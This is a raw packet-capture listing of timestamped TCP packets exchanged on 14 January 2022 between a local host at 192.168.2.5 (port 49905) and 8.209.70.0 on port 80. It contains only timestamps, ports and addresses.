Jan 14, 2022 21:06:04.719116926 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719155073 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719156981 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719204903 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719254971 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719259977 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719305992 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719353914 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719360113 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719404936 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719460011 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719461918 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719511986 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719563007 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719611883 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719615936 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719661951 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719712973 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719729900 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719762087 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719770908 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719813108 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719862938 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719872952 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719914913 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719965935 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719974041 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.720016956 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.720067024 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.720115900 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.720120907 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.720165014 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.720221996 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.737648964 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.737684965 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.737812996 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.737827063 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.737875938 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.737906933 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.737932920 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.737936974 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.737950087 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.737972021 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738001108 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738030910 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738059998 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738060951 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738075972 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738090038 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738117933 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738147020 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738168001 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738177061 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738188028 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738209009 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738239050 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738269091 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738287926 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738297939 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738308907 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738327026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738358021 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738370895 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738387108 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738416910 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738445997 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738461971 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738476038 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738502026 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738507032 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738538027 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738550901 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738568068 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738596916 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738625050 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738641977 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738653898 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738667011 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738683939 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738712072 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738740921 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738758087 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738770962 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738785028 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738800049 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738827944 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738846064 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738857985 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738888025 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738902092 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.738912106 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.738962889 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757062912 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757117033 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757169008 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757196903 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757220030 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757272005 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757277012 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757323027 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757373095 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757378101 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757425070 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757478952 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757483959 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757529020 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757581949 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757590055 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757635117 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757683992 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757688999 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757735968 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757786036 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757837057 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757841110 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.757922888 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757976055 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.757997990 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758033037 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758085012 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758089066 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758135080 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758183002 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758192062 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758234024 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758238077 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758289099 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758338928 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758349895 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758392096 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758440018 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758446932 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758491039 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758539915 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758588076 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758594990 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758639097 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758688927 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758698940 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758739948 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758790016 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758809090 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758838892 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758852959 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758889914 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758939028 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.758980989 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.758996964 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759047985 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759095907 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759111881 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759145975 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759196043 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759211063 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759244919 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759252071 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759294987 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759350061 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759351015 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759407997 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759459019 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759510040 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759529114 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759561062 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759586096 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759613991 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759661913 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759711981 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759725094 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759766102 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759814024 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759826899 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759862900 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759864092 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.759916067 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759965897 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.759970903 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.760016918 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.760065079 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.760071039 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.760116100 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.762011051 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.777990103 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778026104 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778062105 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778098106 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778131962 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778158903 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778167009 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778192043 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778207064 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778242111 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778278112 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778280020 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778295040 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778314114 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778350115 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778384924 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778408051 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778418064 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778448105 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778453112 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778489113 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778522015 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778549910 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778558969 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778583050 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778597116 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778635979 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778666019 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778671026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778704882 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778739929 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778762102 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778775930 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778800964 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.778960943 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.778995037 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779028893 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779057026 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779067993 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779077053 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779103994 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779139042 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779164076 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779175043 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779211044 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779244900 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779277086 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779279947 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779304028 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779315948 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779351950 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779386997 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779413939 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779422998 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779448986 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779458046 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779491901 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779519081 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779527903 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779567003 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779602051 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779633999 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779639959 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779655933 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779675007 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779710054 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779742002 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779759884 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779794931 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779829025 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779840946 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779865026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779900074 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779923916 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779936075 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.779954910 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.779972076 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780006886 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780025959 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.780042887 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780076981 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780097008 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.780112028 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780147076 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780165911 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.780181885 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780216932 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780250072 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780272961 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.780286074 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780307055 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.780320883 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780354023 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.780411005 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798090935 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798129082 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798160076 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798170090 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798196077 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798229933 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798230886 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798263073 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798280001 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798297882 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798331022 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798363924 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798397064 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798409939 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798432112 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798444986 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798475027 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798491001 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798512936 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798546076 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798573971 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798595905 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798629045 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798655987 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798660994 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798696041 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798721075 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798728943 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798762083 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798783064 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798794031 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798826933 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798861027 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798886061 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798892975 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798907042 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798926115 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798958063 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.798986912 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.798990965 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799024105 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799051046 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799055099 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799087048 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799118996 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799140930 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799149036 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799169064 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799185991 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799218893 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799253941 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799288988 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799295902 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799308062 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799321890 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799354076 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799386024 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799406052 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799417019 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799438953 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799449921 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799484015 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799515009 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799541950 CET	49905	80	192.168.2.5	8.209.70.0
